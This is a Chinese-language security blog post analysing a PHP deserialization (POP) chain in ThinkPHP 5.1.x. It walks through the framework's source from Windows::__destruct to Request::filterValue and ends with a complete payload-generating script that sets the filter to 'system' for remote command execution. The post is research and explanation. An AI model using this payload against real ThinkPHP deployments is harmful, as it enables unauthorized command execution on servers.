ThinkPHP v5.1.x POP 链分析

文章首发于合天智汇:https://mp.weixin.qq.com/s/8dyuy-rW8-6isvHxmTI33A

前段时间网上爆出 ThinkPHP 5.1.x 的 POP 链,早就想分析一下,正好最近有空,就记录一下吧

环境:

MacOS 10.13

MAMAP Pro

php 7.0.33 + xdebug

Visual Studio Code

前言

我所理解的 POP Chain:

利用魔术方法并巧妙构造特殊属性调用一系列函数或类方法以执行某种敏感操作的调用堆栈

反序列化常用魔法函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__wakeup, unserialize() 执行前调用

__destruct, 对销毁的时候调用

__toString, 类被当成字符串时的回应方法

__construct(),当对象创建(new)时会自动调用,注意在

unserialize()时并不会自动调用

__sleep(),serialize()时会先被调用

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()或empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

phar 文件通过 phar:// 伪协议拓宽攻击面

因为 phar 文件会以序列化的形式存储用户自定义的meta-data,所以在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作,深入了解请至:https://paper.seebug.org/680/

受影响文件系统函数
fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile

如果对反序列化没有了解的话建议先学习下相关内容

ThinkPHP v5.1.x POP 链分析

安装

这里使用的是官方 ThinkPHP V5.1.38

composer 部署

composer create-project topthink/think=5.1.38 tp5.1.38

利用链

全局搜索函数 __destruct

来到 /thinkphp/library/think/process/pipes/Windows.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

public function __destruct()
{
$this->close();
$this->removeFiles();
}

. . . . . .

/**
* 删除临时文件
*/
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

看下 file_exists 的描述

1
file_exists ( string $filename ) : bool

如果传入的 $filename 是个反序列化的对象,在被 file_exists 当作字符串处理的时候就会触发其 __toString 方法(如果有的话)

所以下面就是找含 __toString 方法的类

来到 /thinkphp/library/think/model/concern/Conversion.php

1
2
3
4
5
6
7
8
9
10
11
12

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

. . . . . .

public function __toString()
{
return $this->toJson();
}

可以看到,在 toJson() 函数中又调用了 toArray() 函数

如果 toArray() 函数中存在并使用某个可控变量的方法,那么我们就可以利用这点去触发其他类的 __call 方法

下面是 toArray() 函数的定义,$this->append 作为类属性是可控的,所以 $relation$name 也就可控了,于是 $relation->visible($name); 就成了这个 POP 链中的中间跳板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public function toArray()
{
$item = [];
$hasVisible = false;

. . . . . .

// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}

$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {

. . . . . .

} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}

return $item;
}

那我们在这里应该传入怎么样的值以及什么数据呢,先看下 $relation 是如何处理得到的

跟进 getRelation,在 /thinkphp/library/think/model/concern/RelationShip.php 中找到函数定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
trait RelationShip
{

. . . . . .

/**
* 获取当前模型的关联模型数据
* @access public
* @param string $name 关联方法名
* @return mixed
*/
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}

. . . . . .

}

由于 getRelation 最终都会 return; 导致返回 NULL,所以 下面的 if (!$relation) 一定成立

所以直接跟进后面的 getAttr,在 /thinkphp/library/think/model/concern/Attribute.php 找到其定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
trait Attribute
{

. . . . . .

public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

. . . . . .

public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}

. . . . . .
}

}

从 getAttr —> getData 返回 data 数组中同名键值的元素值,即 $relation <---- $this->data[$name],我们需要的 $data$append 分别位于 Attribute 和 Conversion,且两者都是 trait 类型

Trait 可以说是和 Class 相似,是 PHP 5.4.0 开始实现的一种代码复用的方法,可以使用 use 加载,举个例子

详情可以看官方手册 PHP: Trait - Manual

所以接下来是寻找一个同时使用了 Attribute 和 Conversion 的类

发现只有 /thinkphp/library/think/Model.php 满足条件

1
2
3
4
5
6
7
8
9
10
11
abstract class Model implements \JsonSerializable, \ArrayAccess
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;

. . . . . .

}

下面就需要找到一个没有 visible 方法却有 __call 方法的类作为执行点

找到 /thinkphp/library/think/Request.php 中的 Request 类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class Request
{

. . . . . .

/**
* 扩展方法
* @var array
*/
protected $hook = [];

. . . . . .

public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}

throw new Exception('method not exists:' . static::class . '->' . $method);
}

. . . . . .

}

这里的回调参数来源于 $hook 数组,而且方法名和参数都是可控的,不过 array_unshift 函数会把若干元素前置到数组的开头

1
2
3
4
5
6
7
8
9
10
11
12
$queue = array("orange", "banana");
array_unshift($queue, "apple", "raspberry");
print_r($queue);

///
Array
(
[0] => apple
[1] => raspberry
[2] => orange
[3] => banana
)

这样的话明显就很难执行命令了,因为参数数组的第一个元素始终是 $this,无法直接执行我们想要的命令, 需要其他某种对参数不是这么敏感的函数作为一个新的执行点或者跳板

Request 类中有一个 filterValue 函数具有过滤功能,寻找调用 filterValue 的地方以便控制 $value$filters 好执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {

. . . . . .

}

return $value;
}

Request 类中的 input 函数由 array_walk_recursive 调用了 filterValue,但是参数仍不可控,再往上寻找调用点看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
  public function input($data = [], $name = '', $default = null, $filter = '')
{

if (false === $name) {
// 获取原始数据
return $data;
}

$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}

$data = $this->getData($data, $name);

if (is_null($data)) {
return $default;
}

if (is_object($data)) {
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}

. . . . . .

return $data;
}

Request 类中的 param 函数调用了 input 函数,但同样参数不可控,再往上寻找调用点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  public function param($name = '', $default = null, $filter = '')
{

. . . . . .

if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);
}

转到 isAjax 函数的定义

1
2
3
4
5
6
7
8
9
10
11
12
13
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

这里 $ajax 参数没有对类型的限制,而且 param 的参数来自 $this->config,是可控的,param 在最后所调用的 input 函数的 $this->param, $name 就都可控

跟进 get 和 route 函数不难发现 $this->param 的值来自 GET 请求

1
2
3
4
5
6
7
8
9
10
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

/*

http://127.0.0.1:9000/public/?test=pwd

$this->param = array("test"=>"pwd")

*/

那么回到 input 函数看处理流程

首先 $this->getData($data, $name) 得到 $data,跟进分析,返回 $data$data[$val] 的值,即 $data[$name]

1
2
3
4
5
6
7
8
9
10
11
12
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}

return $data;
}

回到 input,接着处理 $filter = $this->getFilter($filter, $default);

getFilter 的两个参数分别为 ''null 且都不可控,但是跟进不难看出最后返回 $filter 的值就是 $this->filter,虽然后面 $filter[] = $default; 会给 filter 数组追加个值为 null 的元素,但后面 filterValue 中的 array_pop 函数正好给去掉了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;

return $filter;
}

这样就得到一条可控变量的函数调用链,最后执行命令

下面简单梳理下流程

  1. 通过 Windows 类 __destruct() 方法调用到 file_exists 触发某类的 __toString() 来到 toArray() 函数

  2. 通过控制分别位于 Attribute 和 Conversion 的 $data$append 变量执行在 Request 中不存在的 visible 函数进而触发其 __call()

  3. 在 Request 通过控制 $hook $filter $config 三个变量的值注入最终的 callback 名称和参数,再经这么一系列函数调用执行命令

1
__call() ---> call_user_func_array() ---> isAjax() ---> param() ---> input() ---> filterValue() ---> call_user_func()

画个图就直观多了

构造 Payload

由于 Model 类是 abstract 类型,无法实例化,而extends Model 的也只有一个 Pivot 类,所以就用它吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php

namespace think;
abstract class Model
{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["a"=>[""]];
$this->data = ["a"=>new Request()];
}
}

namespace think\model;
use think\Model;
class Pivot extends Model
{

}

namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}

namespace think;
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

自己先构造一个利用点反序列化我们的内容,生成好 payload,GET 传入要执行的命令,命令别忘了 urlencode

查看调用堆栈


Reference:

https://paper.seebug.org/1040/
https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/

文章作者: J0k3r
文章链接: http://j0k3r.top/2019/10/12/ThinkPHP_pop_v5.1.x/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog